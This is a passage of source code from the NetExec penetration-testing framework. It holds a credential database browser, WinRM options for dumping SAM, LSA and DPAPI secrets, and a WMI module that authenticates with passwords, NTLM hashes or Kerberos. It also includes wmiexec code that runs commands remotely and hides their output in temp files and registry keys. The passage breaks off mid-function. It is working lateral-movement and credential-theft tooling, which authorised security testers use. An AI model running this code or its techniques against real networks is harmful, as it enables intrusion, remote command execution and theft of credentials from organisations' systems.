title="Hosts") def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [["HostID", "IP", "Port", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: host_id = host[0] host_id_list.append(host_id) ip = host[1] port = host[2] hostname = host[3] domain = host[4] try: os = host[5].decode() except Exception: os = host[5] data.append([host_id, ip, port, hostname, domain, os]) print_table(data, title="Host") data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) for link in links: link_id, cred_id, host_id = link creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: cred_id = cred[0] domain = cred[1] username = cred[2] password = cred[3] credtype = cred[4] data.append([cred_id, credtype, domain, username, password]) print_table(data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ hosts [filter_term] By default prints all hosts Table format: | 'HostID', 'IP', 'Port', 'Hostname', 'Domain', 'OS' | Subcommands: filter_term - filters hosts with filter_term If a single host is returned (e.g. `hosts 15`, it prints the following tables: Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS', 'DC', 'SMBv1', 'Signing', 'Spooler', 'Zerologon', 'PetitPotam' | Credential(s) with Admin Access | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' | Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns """ print_help(help_string) def do_creds(self, line): filter_term = line.strip() if filter_term == "": creds = self.db.get_credentials() self.display_creds(creds) elif filter_term.split()[0].lower() == "add": # add format: "domain username password args = filter_term.split()[1:] if len(args) == 3: domain, username, password = args if validate_ntlm(password): self.db.add_credential("hash", domain, username, password) else: self.db.add_credential("plaintext", domain, username, password) else: print("[!] Format is 'add domain username password") return elif filter_term.split()[0].lower() == "remove": args = filter_term.split()[1:] if len(args) != 1: print("[!] Format is 'remove '") return else: self.db.remove_credentials(args) self.db.remove_admin_relation(user_ids=args) elif filter_term.split()[0].lower() == "plaintext": creds = self.db.get_credentials(cred_type="plaintext") self.display_creds(creds) elif filter_term.split()[0].lower() == "hash": creds = self.db.get_credentials(cred_type="hash") self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: data = [ [ "CredID", "CredType", "Pillaged From HostID", "Domain", "UserName", "Password", ] ] cred_id_list = [] for cred in creds: cred_id = cred[0] cred_id_list.append(cred_id) domain = cred[1] username = cred[2] password = cred[3] credtype = cred[4] pillaged_from = cred[5] data.append([cred_id, credtype, pillaged_from, domain, username, password]) print_table(data, title="Credential(s)") data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) for link in links: link_id, cred_id, host_id = link hosts = self.db.get_hosts(host_id) for host in hosts: host_id = host[0] ip = host[1] hostname = host[2] domain = host[3] os = host[4] data.append([host_id, ip, hostname, domain, os]) print_table(data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ creds [add|remove|plaintext|hash|filter_term] By default prints all creds Table format: | 'CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password' | Subcommands: add - format: "add domain username password " remove - format: "remove " plaintext - prints plaintext creds hash - prints hashed creds filter_term - filters creds with filter_term If a single credential is returned (e.g. `creds 15`, it prints the following tables: Credential(s) | 'CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password' | Member of Group(s) | 'GroupID', 'Domain', 'Name' | Admin Access to Host(s) | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' Otherwise, it prints the default credential table from a `like` query on the `username` column """ print_help(help_string) def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/winrm/proto_args.py000066400000000000000000000051051514706431700215630ustar00rootroot00000000000000from nxc.helpers.args import DisplayDefaultsNotNone def proto_args(parser, parents): winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=parents, formatter_class=DisplayDefaultsNotNone) winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="WinRM port - format: 'http-port https-port' (with space separated) or 'single-port' (http & https will use same port when given single port)") winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what protocol you want to check - format: 'http https' (with space separated) or 'single-protocol'") winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator") winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections") dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") cgroup = winrm_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems") cgroup = winrm_parser.add_argument_group("Command Execution") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") return parser NetExec-1.5.1/nxc/protocols/wmi.py000066400000000000000000000515571514706431700170600ustar00rootroot00000000000000import os from io import StringIO from nxc.helpers.ntlm_parser import parse_challenge from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter from nxc.protocols.wmi import wmiexec, wmiexec_event from impacket import ntlm from impacket.uuid import uuidtup_to_bin from impacket.krb5.ccache import CCache from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) class wmi(connection): def __init__(self, args, db, host): self.domain = "" self.targetDomain = "" self.hash = "" self.lmhash = "" self.nthash = "" self.server_os = None self.doKerberos = False self.stringBinding = None # from: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/18d8fbe8-a967-4f1c-ae50-99ca8e491d2d self.rpc_error_status = { "0000052F": "STATUS_ACCOUNT_RESTRICTION", "00000533": "STATUS_ACCOUNT_DISABLED", "00000775": "STATUS_ACCOUNT_LOCKED_OUT", "00000701": "STATUS_ACCOUNT_EXPIRED", "00000532": "STATUS_PASSWORD_EXPIRED", "00000530": "STATUS_INVALID_LOGON_HOURS", "00000531": "STATUS_INVALID_WORKSTATION", "00000569": "STATUS_LOGON_TYPE_NOT_GRANTED", "00000773": "STATUS_PASSWORD_MUST_CHANGE", "00000005": "STATUS_ACCESS_DENIED", "0000052E": "STATUS_LOGON_FAILURE", "0000052B": "STATUS_WRONG_PASSWORD", "00000721": "RPC_S_SEC_PKG_ERROR" } self.iWbemLevel1Login = None self.dcom_conn = None connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "WMI", "host": self.host, "port": self.port, "hostname": self.hostname } ) # Redefine disconnect function. def disconnect(self): if self.conn: self.conn.disconnect() if self.dcom_conn: self.dcom_conn.disconnect() return def create_conn_obj(self): connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]" self.logger.debug(f"Creating WMI connection object to {connection_target}") try: rpctansport = transport.DCERPCTransportFactory(connection_target) rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="") rpctansport.setRemoteHost(self.host) rpctansport.set_connect_timeout(self.args.rpc_timeout) dce = rpctansport.get_dce_rpc() dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.connect() dce.bind(MSRPC_UUID_PORTMAP) dce.disconnect() except Exception as e: self.logger.debug(f"Received error creating WMI connection object: {e}") return False else: self.logger.debug(f"Successfully created WMI connection object to {connection_target}") self.conn = rpctansport return True def enum_host_info(self): # All code pick from DumpNTLNInfo.py # https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py bind = MSRPCBind() item = CtxItem() item["AbstractSyntax"] = epm.MSRPC_UUID_PORTMAP item["TransferSyntax"] = uuidtup_to_bin(("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")) item["ContextID"] = 0 item["TransItems"] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet["type"] = MSRPC_BIND packet["pduData"] = bind.getData() packet["call_id"] = 1 auth = ntlm.getNTLMSSPType1("", "", signingRequired=True, use_ntlmv2=True) sec_trailer = SEC_TRAILER() sec_trailer["auth_type"] = RPC_C_AUTHN_WINNT sec_trailer["auth_level"] = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY sec_trailer["auth_ctx_id"] = 0 + 79231 pad = (4 - (len(packet.get_packet()) % 4)) % 4 if pad != 0: packet["pduData"] += b"\xFF" * pad sec_trailer["auth_pad_len"] = pad packet["sec_trailer"] = sec_trailer packet["auth_data"] = auth try: self.conn.connect() self.conn.send(packet.get_packet()) buffer = self.conn.recv() except Exception: buffer = 0 if buffer != 0: response = MSRPCHeader(buffer) bindResp = MSRPCBindAck(response.getData()) ntlm_info = parse_challenge(bindResp["auth_data"]) self.targetDomain = self.domain = ntlm_info["domain"] self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: self.hostname = self.host if self.args.local_auth: self.domain = self.hostname if self.args.domain: self.domain = self.args.domain # DCOM connection with kerberos needed self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" if not self.kdcHost and self.domain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): self.logger.extra["protocol"] = "RPC" self.logger.extra["port"] = "135" self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") def check_if_admin(self): try: self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout) except Exception as e: self.logger.debug(f"Received error while checking admin: {e}") if "access_denied" not in str(e).lower(): self.logger.fail(str(e)) else: if not flag or not self.stringBinding: error_msg = f'Check admin error: dcom initialization failed with stringbinding: "{self.stringBinding}", please try "--rpc-timeout" option. (probably is admin)' if not self.stringBinding: error_msg = "Check admin error: dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again" self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg) else: try: self.iWbemLevel1Login = IWbemLevel1Login(iInterface) _ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self.iWbemLevel1Login.RemRelease() except Exception as e: if "access_denied" not in str(e).lower(): self.logger.fail(str(e)) return False else: self.logger.extra["protocol"] = "WMI" self.admin_privs = True def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug("Starting WMI login with Kerberos") lmhash = "" nthash = "" self.password = password self.username = username self.domain = domain self.create_conn_obj() if password == "": if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") else: nthash = ntlm_hash self.nthash = nthash self.lmhash = lmhash kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else "" if useCache and kerb_pass == "": ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) self.logger.debug(f"Using ccache from {ccache}") username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0] self.username = username used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" try: self.logger.debug(f"Attempting to connect via WMI to {self.host}") self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey) self.conn.setRemoteHost(self.host) self.conn.set_kerberos(True, kdcHost) dce = self.conn.get_dce_rpc() dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_PORTMAP) except Exception as e: dce.disconnect() error_msg = str(e).lower() self.logger.debug(f"WMI errored while connecting: {error_msg}") if "unpack requires a buffer of 4 bytes" in error_msg: error_msg = "Kerberos authentication failure" out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}" self.logger.fail(out) elif "kerberos sessionerror" in error_msg: out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}" self.logger.fail(out, color="magenta") else: out = f"{self.domain}\\{self.username}{used_ccache} {e!s}" self.logger.fail(out, color="red") return False else: try: self.logger.debug("Got valid creds, trying to get data from RPC connection") entry_handle = epm.ept_lookup_handle_t() request = epm.ept_lookup() request["inquiry_type"] = 0x0 request["object"] = NULL request["Ifid"] = NULL request["vers_option"] = 0x1 request["entry_handle"] = entry_handle request["max_ents"] = 1 dce.request(request) except Exception as e: dce.disconnect() error_msg = str(e).lower() self.logger.debug(error_msg) for code in self.rpc_error_status: if code in error_msg: error_msg = self.rpc_error_status[code] out = f"{self.domain}\\{self.username}{used_ccache} {error_msg.upper()}" self.logger.fail(out, color=("red" if "access_denied" in error_msg else "magenta")) return False else: self.doKerberos = True self.check_if_admin() out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" self.logger.success(out) dce.disconnect() return True def plaintext_login(self, domain, username, password): self.password = password self.username = username self.domain = domain try: self.conn.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) dce = self.conn.get_dce_rpc() dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_PORTMAP) except Exception as e: dce.disconnect() self.logger.debug(str(e)) out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {e!s}" self.logger.fail(out, color="red") else: try: # Get data from rpc connection if got vaild creds entry_handle = epm.ept_lookup_handle_t() request = epm.ept_lookup() request["inquiry_type"] = 0x0 request["object"] = NULL request["Ifid"] = NULL request["vers_option"] = 0x1 request["entry_handle"] = entry_handle request["max_ents"] = 1 dce.request(request) except Exception as e: dce.disconnect() error_msg = str(e).lower() self.logger.debug(error_msg) for code in self.rpc_error_status: if code in error_msg: error_msg = self.rpc_error_status[code] self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.password)} ({error_msg.upper()})"), color=("red" if "access_denied" in error_msg else "magenta")) return False else: self.check_if_admin() dce.disconnect() out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" if self.username == "" and self.password == "": out += "(Default allow anonymous login)" self.logger.success(out) return True def hash_login(self, domain, username, ntlm_hash): self.username = username lmhash = "" nthash = "" if ntlm_hash.find(":") != -1: self.lmhash, self.nthash = ntlm_hash.split(":") else: lmhash = "" nthash = ntlm_hash self.nthash = nthash self.lmhash = lmhash try: self.conn.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=lmhash, nthash=nthash) dce = self.conn.get_dce_rpc() dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_PORTMAP) except Exception as e: dce.disconnect() self.logger.debug(str(e)) out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {e!s}" self.logger.fail(out, color="red") else: try: # Get data from rpc connection if got vaild creds entry_handle = epm.ept_lookup_handle_t() request = epm.ept_lookup() request["inquiry_type"] = 0x0 request["object"] = NULL request["Ifid"] = NULL request["vers_option"] = 0x1 request["entry_handle"] = entry_handle request["max_ents"] = 1 dce.request(request) except Exception as e: dce.disconnect() error_msg = str(e).lower() self.logger.debug(error_msg) for code in self.rpc_error_status: if code in error_msg: error_msg = self.rpc_error_status[code] self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.nthash)} ({error_msg.upper()})"), color=("red" if "access_denied" in error_msg else "magenta")) return False else: self.check_if_admin() dce.disconnect() out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" if self.username == "" and self.password == "": out += "(Default allow anonymous login)" self.logger.success(out) return True @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): records = [] if not wql: wql = self.args.wmi_query.strip("\n") if not namespace: namespace = self.args.wmi_namespace try: iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) self.iWbemLevel1Login.RemRelease() iEnumWbemClassObject = iWbemServices.ExecQuery(wql) except Exception as e: self.logger.debug(str(e)) self.logger.fail(f"Execute WQL error: {e}") return False else: self.logger.info(f"Executing WQL syntax: {wql}") try: if not callback_func: while True: wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] record = wmi_results.getProperties() records.append(record) for k, v in record.items(): self.logger.highlight(f"{k} => {v['value']}") else: callback_func(iEnumWbemClassObject, records) except Exception as e: if str(e).find("S_FALSE") < 0: self.logger.debug(e) return records def list_snapshots(self): drive = self.args.list_snapshots self.logger.info(f"Retrieving volume shadow copies of drive {drive}.") wql = "select ID, DeviceObject, ClientAccessible, InstallDate from win32_shadowcopy" def callback_func(iEnumWbemClassObject, records): while True: wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] record = dict(wmi_results.getProperties()) records.append(record) snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func) if not snapshots: self.logger.info("No volume shadow copies found.") return self.logger.highlight(f"{'Drive':<8}{'Shadow Copy ID':<40}{'ClientAccessible':<18}{'InstallDate':<27}{'Device Object':<50}") self.logger.highlight(f"{'------':<8}{'--------------':<40}{'----------------':<18}{'-----------':<27}{'-------------':<50}") for record in snapshots: self.logger.highlight(f"{drive:<8}{record['ID']['value']:<40}{record['ClientAccessible']['value']:<18}{record['InstallDate']['value']:<27}{record['DeviceObject']['value']:<50}") @requires_admin def execute(self, command=None, get_output=False, use_powershell=False): output = "" # Execution via -x if not command and self.args.execute: command = self.args.execute if not self.args.no_output: get_output = True if "systeminfo" in command and self.args.exec_timeout < 10: self.logger.fail("Execute 'systeminfo' must set the interval time higher than 10 seconds") return "" if self.server_os is not None and "NT 5" in self.server_os: self.logger.fail("Execute command failed, not support current server os (version < NT 6)") return "" if self.args.exec_method == "wmiexec": exec_method = wmiexec.WMIEXEC( self.remoteName, self.iWbemLevel1Login, self.logger, self.args.exec_timeout, self.args.codec ) elif self.args.exec_method == "wmiexec-event": exec_method = wmiexec_event.WMIEXEC_EVENT( self.remoteName, self.iWbemLevel1Login, self.logger, self.args.exec_timeout, self.args.codec ) output = exec_method.execute(command, get_output, use_powershell=use_powershell) if self.args.execute and get_output: self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}') buf = StringIO(output).readlines() for line in buf: if line.strip(): self.logger.highlight(line.strip()) return output else: return output def execute_psh(self, command=None, get_output=False): # Execution via -X if not command and self.args.execute_psh: command = self.args.execute_psh if not self.args.no_output: get_output = True output = self.execute(command, get_output, use_powershell=True) if self.args.execute_psh and get_output: self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}') buf = StringIO(output).readlines() for line in buf: if line.strip(): self.logger.highlight(line.strip()) return output else: return output NetExec-1.5.1/nxc/protocols/wmi/000077500000000000000000000000001514706431700164715ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/wmi/__init__.py000066400000000000000000000000001514706431700205700ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/wmi/database.py000066400000000000000000000020671514706431700206140ustar00rootroot00000000000000from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String from sqlalchemy.orm import declarative_base from nxc.database import BaseDB Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.CredentialsTable = None self.HostsTable = None super().__init__(db_engine) class Credential(Base): __tablename__ = "credentials" id = Column(Integer) username = Column(String) password = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class Host(Base): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) hostname = Column(String) port = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.CredentialsTable = self.reflect_table(self.Credential) self.HostsTable = self.reflect_table(self.Host) NetExec-1.5.1/nxc/protocols/wmi/db_navigator.py000066400000000000000000000010251514706431700215000ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/wmi/proto_args.py000066400000000000000000000055601514706431700212300ustar00rootroot00000000000000def proto_args(parser, parents): wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents) wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") wmi_parser.add_argument("--port", type=int, choices={135}, default=135, help="WMI port (default: 135)") wmi_parser.add_argument("--rpc-timeout", help="RPC/DCOM(WMI) connection timeout, default is %(default)s seconds", type=int, default=2) # For domain options dgroup = wmi_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", default=None, type=str, help="Domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target") cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)") cgroup = wmi_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output") cgroup.add_argument("-X", metavar="COMMAND", dest="execute_psh", type=str, help="Creates a new PowerShell process and executes the specified command with output") cgroup.add_argument("--exec-method", choices={"wmiexec", "wmiexec-event"}, default="wmiexec", help="method to execute the command. (default: wmiexec). [wmiexec (win32_process + StdRegProv)]: get command results over registry instead of using smb connection. [wmiexec-event (T1546.003)]: this method is not very stable, highly recommend use this method in single host, using on multiple hosts may crash (just try again if it crashed).") cgroup.add_argument("--exec-timeout", default=2, metavar="exec_timeout", dest="exec_timeout", type=int, help="Set timeout (in seconds) when executing a command, minimum 5 seconds is recommended. Default: %(default)s") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") return parser NetExec-1.5.1/nxc/protocols/wmi/wmiexec.py000066400000000000000000000213131514706431700205040ustar00rootroot00000000000000# Author: xiaolichan # noqa: ERA001 # Link: https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-regOut.py # Note: windows version under NT6 not working with this command execution way # https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-reg-sch-UnderNT6-wip.py -- WIP # Description: # For more details, please check out my repository. # https://github.com/XiaoliChan/wmiexec-RegOut # Workflow: # Stage 1: # cmd.exe /Q /c {command} > C:\windows\temp\{random}.txt (aka command results) # powershell convert the command results into base64, and save it into C:\windows\temp\{random2}.txt (now the command results was base64 encoded) # Create registry path: HKLM:\Software\Classes\hello, then add C:\windows\temp\{random2}.txt into HKLM:\Software\Classes\hello\{NewKey} # Stage 2: # WQL query the HKLM:\Software\Classes\hello\{NewKey} and get results, after the results(base64 strings) retrieved, removed import time import uuid import base64 from nxc.helpers.misc import gen_random_string from impacket.dcerpc.v5.dtypes import NULL class WMIEXEC: def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.logger = logger self.__exec_timeout = exec_timeout self.__registry_Path = "" self.__outputBuffer = "" self.__shell = "cmd.exe /Q /c " self.__pwd = "C:\\" self.__codec = codec self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self.__iWbemLevel1Login.RemRelease() self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False, use_powershell=False): """Execute a command on the remote host using WMI. Options: - No output - Output with bash (limited to ~1MB) - Output with PowerShell (recommended for larger outputs) """ if output and not use_powershell: self.execute_WithOutput(command) elif output and use_powershell: self.execute_WithOutput_psh(command) else: command = self.__shell + command self.execute_remote(command) return self.__outputBuffer def execute_remote(self, command): self.logger.info(f"Executing command: {command}") try: self.__win32Process.Create(command, self.__pwd, None) except Exception as e: self.logger.error(str(e)) def execute_WithOutput(self, command): result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt" result_output_b64 = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt" keyName = str(uuid.uuid4()) self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}" # 1. Run the command and write output to file self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1') self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.") time.sleep(self.__exec_timeout) # 2. Base64 encode the file self.execute_remote(f"{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001") time.sleep(0.5) # 3. Store content in registry self.execute_remote(f'{self.__shell} for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f') time.sleep(0.1) self.queryRegistry(keyName) self.clean_up(result_output, result_output_b64) def queryRegistry(self, keyName): try: # Spawn an instance of StdRegProv to access the registry self.logger.debug(f"Retrieving output from: HKLM\\{self.__registry_Path}") descriptor, _ = self.__iWbemServices.GetObject("StdRegProv") descriptor = descriptor.SpawnInstance() # Retrieve the base64 content from the registry for _ in range(10): self.logger.debug(f"Retrieving key: {keyName}") outputBuffer_b64 = descriptor.GetStringValue(0x80000002, self.__registry_Path, keyName).sValue if outputBuffer_b64 is not None: break time.sleep(1) self.__outputBuffer = base64.b64decode(outputBuffer_b64).decode(self.__codec, errors="replace").rstrip("\r\n") except Exception: self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'") def execute_WithOutput_psh(self, command): """Same functionality as execute_WithOutput, but uses PowerShell to handle larger outputs by splitting the base64 content into chunks and storing it in the registry.""" result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt" result_output_b64 = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt" keyName = str(uuid.uuid4()) self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}" # 1. Run the command and write output to file if not command.lower().startswith("powershell"): command = f'powershell -Command "& {{{command}}}"' self.execute_remote(f'{command} > "{result_output}" 2>&1') self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.") time.sleep(self.__exec_timeout) # 2. Base64 encode the file using PowerShell self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"') time.sleep(0.5) # 3. Use PowerShell to split base64 content into 16KB chunks and store in registry self.execute_remote( f'powershell -Command "$b64 = Get-Content -Raw \'{result_output_b64}\'; ' f'$chunksize = 16000; ' f'$count = [math]::Ceiling($b64.Length / $chunksize); ' f'for ($i = 0; $i -lt $count; $i++) {{ ' f' $chunk = $b64.Substring($i * $chunksize, [math]::Min($chunksize, $b64.Length - ($i * $chunksize))); ' f' $name = \\"{keyName}_chunk_$i\\"; ' f' reg add \\"HKLM\\{self.__registry_Path}\\" /v $name /t REG_SZ /d $chunk /f }}; ' f'reg add \\"HKLM\\{self.__registry_Path}\\" /v \\"{keyName}\\" /t REG_DWORD /d $count /f"' ) time.sleep(0.1) 